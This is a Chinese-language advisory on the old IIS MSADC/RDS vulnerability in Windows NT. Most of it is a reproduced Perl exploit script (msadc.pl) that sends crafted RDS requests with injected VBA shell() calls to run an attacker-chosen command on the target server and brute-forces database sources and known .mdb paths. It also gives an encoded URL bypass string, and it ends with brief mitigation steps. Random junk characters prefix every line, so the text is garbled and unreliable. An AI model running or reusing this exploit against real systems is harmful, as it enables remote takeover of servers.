IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
?$Tp|<tx# 2J0N]`| ) 涉及程序：
H 7&bUt/ Microsoft NT server
UX!)\5- /GUbc 描述：
9 %MHIY5 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
F4$N:J kl Q /u1$&1 详细：
-ZKo/ N>6} 如果你没有时间读详细内容的话，就删除:
=, WW#tD c:\Program Files\Common Files\System\Msadc\msadcs.dll
>|| =# ; 有关的安全问题就没有了。
Oqy&V&-C GL- r;
微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
'"~ 2xiin 25m6/Y 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Zwm2T3@e 关于利用ODBC远程漏洞的描述，请参看:
B!iz=+RNC1 '$m
uA\ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm @5Zg![G o n+:{ad 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
6Q}WX[| tQ http://www.microsoft.com/security/bulletins/MS99-025faq.asp v==]v2 - x+B7r& #: 这里不再论述。
+,$ SZ O] gI5" \"T{ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
z &@O\>Q O77bm,E /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
J~,Ny_L 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
U5! T-o;3} ,4`=gKn {T2=bK~ #将下面这段保存为txt文件，然后: "perl -x 文件名"
OqNt Tk+ @GrQ /F 7 #!perl
g [ dI% #
{iRXK # MSADC/RDS 'usage' (aka exploit) script
SuuLB6{u3 #
AFN"#M # by rain.forest.puppy
!`$ xN~_ #
f: _mr zz # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
[Kc"L+H\ # beta test and find errors!
+#Q\;; FNP {!G use Socket; use Getopt::Std;
G:k]tZ*` getopts("e:vd:h:XR", \%args);
?9I=XTR {P[>B}'rW print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
)CAEqP
q` Z_ Bw if (!defined $args{h} && !defined $args{R}) {
F\lnG print qq~
<[ W41{ Usage: msadc.pl -h <host> { -d <delay> -X -v }
n +R3 -h <host> = host you want to scan (ip or domain)
vC1D}=Fp -d <seconds> = delay between calls, default 1 second
+^0Q~>=VD -X = dump Index Server path table, if available
aUVJ\ ;V -v = verbose
:1/K$A)^{ -e = external dictionary file for step 5
ecg>_%.> sCi"qtHP Or a -R will resume a command session
+?I 1Og Hvj1R.I/ ~; exit;}
Q3OGU} F 8:QnxrODP $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
C % d if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
G{C27k>wa if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
ZA>p~Zt if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Eh{]so $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
FK ~ FC: K if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
uOU?-WtPz 93+p~ ? if (!defined $args{R}){ $ret = &has_msadc;
wAn}ic".b die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
H) u<$y!8 sb^%eUU]) print "Please type the NT commandline you want to run (cmd /c assumed):\n"
<XAW-m9SC . "cmd /c ";
kl&9M!;:n $in=<STDIN>; chomp $in;
4PsJs<u $command="cmd /c " . $in ;
{TV6eV \8 ~`NF if (defined $args{R}) {&load; exit;}
} eL*gy b7n ER] R print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
?~g X7{> &try_btcustmr;
: % o3 2 Wdp?<U print "\nStep 2: Trying to make our own DSN...";
v\;h I5WY &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
V< ]l=JOd =5PN H 2 print "\nStep 3: Trying known DSNs...";
dDe ImSeV &known_dsn;
X?Yp=%% a*fUMhIi print "\nStep 4: Trying known .mdbs...";
ecjjCt2S &known_mdb;
5qx,b&^w a1p}y2 if (defined $args{e}){
Q:/BC= ~ print "\nStep 5: Trying dictionary of DSN names...";
8&0+Az"{O &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
[l9iWs'M \@ j YY~ print "Sorry Charley...maybe next time?\n";
`! t+sX- n exit;
Le*s Luxk< Oy, `tG0 ##############################################################################
Sjogv 8D[,z 7n sub sendraw { # ripped and modded from whisker
5NT?A,r" sleep($delay); # it's a DoS on the server! At least on mine...
T{VdlgL my ($pstr)=@_;
ND3(oes+;K socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
GG KD8'j] die("Socket problems\n");
{ 4(E
@ if(connect(S,pack "SnA4x8",2,80,$target)){
Gxj3/&]^Y select(S); $|=1;
?uq7K"B print $pstr; my @in=<S>;
?[|T"bE5[ select(STDOUT); close(S);
jZ;dY~fE return @in;
~gjREl,+D# } else { die("Can't connect...\n"); }}
e=]>T eqG0 Ai 9UB=[R ##############################################################################
Fa !6*K\ vXio /m sub make_header { # make the HTTP request
f8m%T%]f my $msadc=<<EOT
]B ;\?Tim POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
tc_D8Q_ User-Agent: ACTIVEDATA
wG XnS"L! Host: $ip
x9c/;Q &m Content-Length: $clen
X)tf3M
{J@ Connection: Keep-Alive
N0D)d ,s?7EHtC ADCClientVersion:01.06
h7EKb-@ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
cvf@B_iN9 m
_0D^e7# --!ADM!ROX!YOUR!WORLD!
jf_0IE Content-Type: application/x-varg
_-vf<QO] Content-Length: $reqlen
UP@ a
?w ]G0`W6;$] EOT
`@Q%} J ; $msadc=~s/\n/\r\n/g;
g' xR$6t return $msadc;}
Pmj]"7Vd[ $9}z^sGIM ##############################################################################
6Q&*V7EO j:yQP# U sub make_req { # make the RDS request
" iCR68e my ($switch, $p1, $p2)=@_;
k{fCU% my $req=""; my $t1, $t2, $query, $dsn;
U eG$lMV $uA?c&
e if ($switch==1){ # this is the btcustmr.mdb query
yAu-BObD $query="Select * from Customers where City=" . make_shell();
_L6WbRu| $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
}HM8VAH $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Jl "),;Od 4{:W5eT! / elsif ($switch==2){ # this is general make table query
e7{n= M $query="create table AZZ (B int, C varchar(10))";
Q]' ;1#J\ $dsn="$p1";}
ZWC-<QO"< X(-e-:B4; elsif ($switch==3){ # this is general exploit table query
<p48?+K9 $query="select * from AZZ where C=" . make_shell();
z2m% L0 $dsn="$p1";}
-%&_LE9ZtS w1J&c' - elsif ($switch==4){ # attempt to hork file info from index server
dbkkx1{>Y $query="select path from scope()";
k, L , $dsn="Provider=MSIDXS;";}
wW3fsX u _E e`Uk elsif ($switch==5){ # bad query
Hev S}L
$query="select";
kIAWI;H{ $dsn="$p1";}
AsRS7V `U4R%
qhWA $t1= make_unicode($query);
q16RPqfT $t2= make_unicode($dsn);
XE_|H1&j $req = "\x02\x00\x03\x00";
rp sq.n $req.= "\x08\x00" . pack ("S1", length($t1));
Y[AL!h $req.= "\x00\x00" . $t1 ;
wVvk{tS $req.= "\x08\x00" . pack ("S1", length($t2));
Zho d %n3 $req.= "\x00\x00" . $t2 ;
|-N\?N9" $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
D?w?0b Eu return $req;}
'`q&UPg] fF208A7U
I ##############################################################################
J4qFU^ tT}*%A sub make_shell { # this makes the shell() statement
PaF`dnJ return "'|shell(\"$command\")|'";}
=T)4Oziks 4h >Dpml ##############################################################################
@O}%sjC1 >]q{vKCAP sub make_unicode { # quick little function to convert to unicode
Kk2PWJ7 my ($in)=@_; my $out;
a3i4eGT - for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Cf`s:A5<J return $out;}
? 5e:w?&g@ 3^l@!Qw ##############################################################################
^)&d7cSc Z 6^ AO=3 sub rdo_success { # checks for RDO return success (this is kludge)
fYF\5/_ my (@in) = @_; my $base=content_start(@in);
dxkq* if($in[$base]=~/multipart\/mixed/){
$LLkYOwI return 1 if( $in[$base+10]=~/^\x09\x00/ );}
j )6A return 0;}
F}P+3IaE {D1"bDZ ##############################################################################
!es?GJq` 5v4
,YHD sub make_dsn { # this makes a DSN for us
2xvT ijO0 my @drives=("c","d","e","f");
C- /<5D
j print "\nMaking DSN: ";
${^WM}N
foreach $drive (@drives) {
H:
Rd4dl,
print "$drive: ";
)J 4XM( my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
P.WEu<$ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
lz.ta!6 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
e&zZr]vs]l $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
t W ;1 return 0 if $2 eq "404"; # not found/doesn't exist
y@"6Dt| if($2 eq "200") {
;^nN!KDjR foreach $line (@results) {
W'x/Kg,w- return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
]6NpHDip1 } return 0;}
uh'{+E;= a# t:+iw ##############################################################################
wP.b2X_V 2Z
4Ekq0@ sub verify_exists {
BwwOa O@L my ($page)=@_;
6qQdTp{i my @results=sendraw("GET $page HTTP/1.0\n\n");
[F4] pR( return $results[0];}
]ovP^]]V % "|I`
m ##############################################################################
};"-6e/9 7M*&^P\}es sub try_btcustmr {
pEf1[ zq my @drives=("c","d","e","f");
]cvP ! my @dirs=("winnt","winnt35","winnt351","win","windows");
aI]EwVz-q EY Ni` foreach $dir (@dirs) {
7}>7@ W8 print "$dir -> "; # fun status so you can see progress
UfcQFT{() foreach $drive (@drives) {
Nv!If$d print "$drive: "; # ditto
P%M Yr"<$E $reqlen=length( make_req(1,$drive,$dir) ) - 28;
r w(EI,G $reqlenlen=length( "$reqlen" );
53efF bo $clen= 206 + $reqlenlen + $reqlen;
wp7 <0PP ]E/^(T-O my @results=sendraw(make_header() . make_req(1,$drive,$dir));
A)"?GK{* if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
C;]}Ht:~I else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
w1tWy Kq r'!L}^n ##############################################################################
IiW*'0H:/ D@@J7 sub odbc_error {
c'#w 8 V my (@in)=@_; my $base;
4 #?Sxs my $base = content_start(@in);
QP HibPP: if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
X@ ;;
h $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{/|RKV83 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
66ULR&D8 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
4yy9m8 / return $in[$base+4].$in[$base+5].$in[$base+6];}
a`/\0~ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
k# -u!G print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
})~M}d2LXB $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
r"HQ>Wn ;1x(~p D*o ##############################################################################
KV&4Ep# tZ|0wPp sub verbose {
rjk{9u1a" my ($in)=@_;
cX~J6vNy5 return if !$verbose;
$W} YXLFj? print STDOUT "\n$in\n";}
r xlKoa #Y |t,x; ##############################################################################
_#;UXAi =(] yl_ sub save {
N{kp^Byim0 my ($p1, $p2, $p3, $p4)=@_;
J ZH~ { open(OUT, ">rds.save") || print "Problem saving parameters...\n";
o/dj1a~U print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
M%{,?a0V close OUT;}
2Q bCH} xlKg0 &D ##############################################################################
k`aHG8S\ Pi/V3D) B sub load {
I= '6>+P my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
WR :I2-1 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
pc+'/~ @p=<IN>; close(IN);
yxx9h3 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
G!<-9HA5 $target= inet_aton($ip) || die("inet_aton problems");
^uCZ O print "Resuming to $ip ...";
.#Vup{. $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
W)~}o<a)[ if($p[1]==1) {
b=$(`y $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
q0t} $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
wf` e3S my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
,S V34+( if (rdo_success(@results)){print "Success!\n";}
1#Q~aY else { print "failed\n"; verbose(odbc_error(@results));}}
? GT,Y5 elsif ($p[1]==3){
woyn6Z1JQ if(run_query("$p[3]")){
O yG# print "Success!\n";} else { print "failed\n"; }}
$:}sm0; elsif ($p[1]==4){
H*KZZTKd if(run_query($drvst . "$p[3]")){
:P/0 " print "Success!\n"; } else { print "failed\n"; }}
;${_eab ] exit;}
ehTRw8"R 4N K{RN3 ##############################################################################
wg}rMJoG| "K )ue@? sub create_table {
) <K3Fz
Bs my ($in)=@_;
Sv>bU4LHf $reqlen=length( make_req(2,$in,"") ) - 28;
;N?raz2mEi $reqlenlen=length( "$reqlen" );
{lO>i&mx $clen= 206 + $reqlenlen + $reqlen;
g3*J3I-O my @results=sendraw(make_header() . make_req(2,$in,""));
aGs\zCAP return 1 if rdo_success(@results);
`:*O8h~i^8 my $temp= odbc_error(@results); verbose($temp);
=yCz !vc return 1 if $temp=~/Table 'AZZ' already exists/;
GOU>j "5}2 return 0;}
&6O0h0V y }}X<e ##############################################################################
^&!iq K2o fN_Ilg)t?5 sub known_dsn {
I&Z+FL&@f # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
\N a my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
[,TK"
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
:zK\t5 "banner", "banners", "ads", "ADCDemo", "ADCTest");
bH`r=@.:cu
`)n/J+g foreach $dSn (@dsns) {
,sZ)@?e print ".";
AYHefAF<w next if (!is_access("DSN=$dSn"));
&s~b1Va if(create_table("DSN=$dSn")){
#q9cjEd_7 print "$dSn successful\n";
S]g`Ds< if(run_query("DSN=$dSn")){
#!7b3 >} print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
G_v^IM#B= print "Something's borked. Use verbose next time\n";}}} print "\n";}
j}aU*p~N m
?#WQf ##############################################################################
#v\o @ArX <d~IdK'\x sub is_access {
9?I?;l{ my ($in)=@_;
YDjjh e+ $reqlen=length( make_req(5,$in,"") ) - 28;
*T-v^ndJh $reqlenlen=length( "$reqlen" );
H$ !sK $clen= 206 + $reqlenlen + $reqlen;
jpt-5@5O my @results=sendraw(make_header() . make_req(5,$in,""));
F-GrQd:O= my $temp= odbc_error(@results);
=y]F cxF verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Xu%8Q ?] return 0;}
W.7XShwd*2 d37|o3oC ##############################################################################
2@>#?c7 tE"IE$$1 sub run_query {
q{2
+Inf#: my ($in)=@_;
W/G75o~6 $reqlen=length( make_req(3,$in,"") ) - 28;
EncJB $reqlenlen=length( "$reqlen" );
H:4? sR3 $clen= 206 + $reqlenlen + $reqlen;
q 1~3T;Il my @results=sendraw(make_header() . make_req(3,$in,""));
5 NN`tv return 1 if rdo_success(@results);
7CSd}@71\ my $temp= odbc_error(@results); verbose($temp);
KOit7+ Q return 0;}
=q<t,U P8 n}3fItSJ ##############################################################################
GEJy?$9 Q+zy\T sub known_mdb {
f <LRM my @drives=("c","d","e","f","g");
!"bU|a my @dirs=("winnt","winnt35","winnt351","win","windows");
d#u*NwY} my $dir, $drive, $mdb;
[_1K1i"m my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
QRz5eGpW cjc1iciZ # this is sparse, because I don't know of many
~vw$Rnotz my @sysmdbs=( "\\catroot\\icatalog.mdb",
!b?`TUt "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
k A{eT "\\system32\\certmdb.mdb",
{"hyr/SK d "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
^$~&e :{ "4 WwiI9 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
9N;y^
Y\ "\\cfusion\\cfapps\\forums\\forums_.mdb",
VPUm4%?p$
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
iE* Y@E5x0 "\\cfusion\\cfapps\\security\\realm_.mdb",
]Nb~-)t%B "\\cfusion\\cfapps\\security\\data\\realm.mdb",
&m{vLw "\\cfusion\\database\\cfexamples.mdb",
+W^$m y)< "\\cfusion\\database\\cfsnippets.mdb",
sO 0j!;N "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
f6JC>Np "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
xM D]b "\\cfusion\\brighttiger\\database\\cleam.mdb",
p$}1V2h; "\\cfusion\\database\\smpolicy.mdb",
\><v1x>; "\\cfusion\\database\cypress.mdb",
3$h yV{ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
!" s~dL,7 "\\website\\cgi-win\\dbsample.mdb",
OJXK] dZ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
' qN"!\ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
BB3wG*q ); #these are just
(x/xqDpmBS foreach $drive (@drives) {
5v5K}hx foreach $dir (@dirs){
y9X1X{ foreach $mdb (@sysmdbs) {
^u$?& # print ".";
lvk
r2Meu< if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
e3}o3c_ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
#Y<(7 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
zz1]6B*eX print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
%-#r zeaW } else { print "Something's borked. Use verbose next time\n"; }}}}}
on)$y&lu ER)to<k foreach $drive (@drives) {
F.@U
X{J foreach $mdb (@mdbs) {
_>(qQ-P x print ".";
&ngG_y8}& if(create_table($drv . $drive . $dir . $mdb)){
!R3Z yZcX print "\n" . $drive . $dir . $mdb . " successful\n";
Qcs >BOV~ if(run_query($drv . $drive . $dir . $mdb)){
0/,Dy2h print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
?/FCq6o } else { print "Something's borked. Use verbose next time\n"; }}}}
w0Y V87 }
T Y* uK SZL('x,"^ ##############################################################################
kqt.?iJw t{o&$s93 sub hork_idx {
N^xk.O_TO print "\nAttempting to dump Index Server tables...\n";
+WB';D print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
&]P1IQ $reqlen=length( make_req(4,"","") ) - 28;
CyV(+KBe_ $reqlenlen=length( "$reqlen" );
^eY% T5K $clen= 206 + $reqlenlen + $reqlen;
[FN4 _ my @results=sendraw2(make_header() . make_req(4,"",""));
>Z!H9] f( if (rdo_success(@results)){
6}^6+@LG my $max=@results; my $c; my %d;
, B||8W 9 for($c=19; $c<$max; $c++){
N]7#Q.(~ $results[$c]=~s/\x00//g;
]n (:X $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
t7qzA r $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
boWaH}?0' $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
z<z \) $d{"$1$2"}="";}
YCS8qEP& foreach $c (keys %d){ print "$c\n"; }
: ?J0e4.] } else {print "Index server doesn't seem to be installed.\n"; }}
8D1+["& L__J(6, V2 ##############################################################################
4j VFzO%. m5\ /7 VC sub dsn_dict {
y -=YX qj open(IN, "<$args{e}") || die("Can't open external dictionary\n");
+Qo]'xKr while(<IN>){
X+; {&Efrl $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
&#DKB#.2 next if (!is_access("DSN=$dSn"));
GZk{tTv if(create_table("DSN=$dSn")){
z2Kvp"-} print "$dSn successful\n";
VVVw\|JB> if(run_query("DSN=$dSn")){
i)mQ?Y#o print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
|"o/GUI~ print "Something's borked. Use verbose next time\n";}}}
J~(M%]
&k^ print "\n"; close(IN);}
ZZ@1l 3_cZaru ##############################################################################
;+Uc} = CZ.XEMN\ sub sendraw2 { # ripped and modded from whisker
^7$V>| sleep($delay); # it's a DoS on the server! At least on mine...
r8Pdk/CW^ my ($pstr)=@_;
XWNDpL`j5 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
siK:?A@4D die("Socket problems\n");
J sc`^a%`' if(connect(S,pack "SnA4x8",2,80,$target)){
F` "bMS print "Connected. Getting data";
8@Hl0{q open(OUT,">raw.out"); my @in;
CHo(:A.U> select(S); $|=1; print $pstr;
, \
6*fXc while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
M@?,nzs
K close(OUT); select(STDOUT); close(S); return @in;
HA W57N } else { die("Can't connect...\n"); }}
/>[X
k Hb|y`O k ##############################################################################
h:l4:{A64 ]5`Y^hS_g sub content_start { # this will take in the server headers
fx `oe my (@in)=@_; my $c;
&R~)/y0] for ($c=1;$c<500;$c++) {
l7 M! [Ur if($in[$c] =~/^\x0d\x0a/){
%jRqrICd if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
+(qs{07A$ else { return $c+1; }}}
C #Y_La return -1;} # it should never get here actually
*^_ywqp <oP"kh<D4 ##############################################################################
b i 8Qbo4 !w #x@6yq sub funky {
wjnQK my (@in)=@_; my $error=odbc_error(@in);
9Vh> ty1|_ if($error=~/ADO could not find the specified provider/){
^ua 8Ya print "\nServer returned an ADO miscofiguration message\nAborting.\n";
@/yJTMcf exit;}
u/g4s ( a if($error=~/A Handler is required/){
U{%N.4: print "\nServer has custom handler filters (they most likely are patched)\n";
Z uIw4u(9 exit;}
u#s b r8Y if($error=~/specified Handler has denied Access/){
\~bx% VWW4 print "\nServer has custom handler filters (they most likely are patched)\n";
+M %zOX/ exit;}}
k5ZkD+0Jo |r%lJmBB ##############################################################################
$b=4_UroS =SqI # v sub has_msadc {
tH\ aHU[ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
[sF
z ;Py] my $base=content_start(@results);
1p |}=R return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
nm.~~h+8M return 0;}
G<f "_NT 5o P 3 1 ########################
@M!Wos Rk 2&Hn%q) k nU=# 解决方案：
S+7:fu2?+ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
*'&mcEpg 2、移除web 目录: /msadc
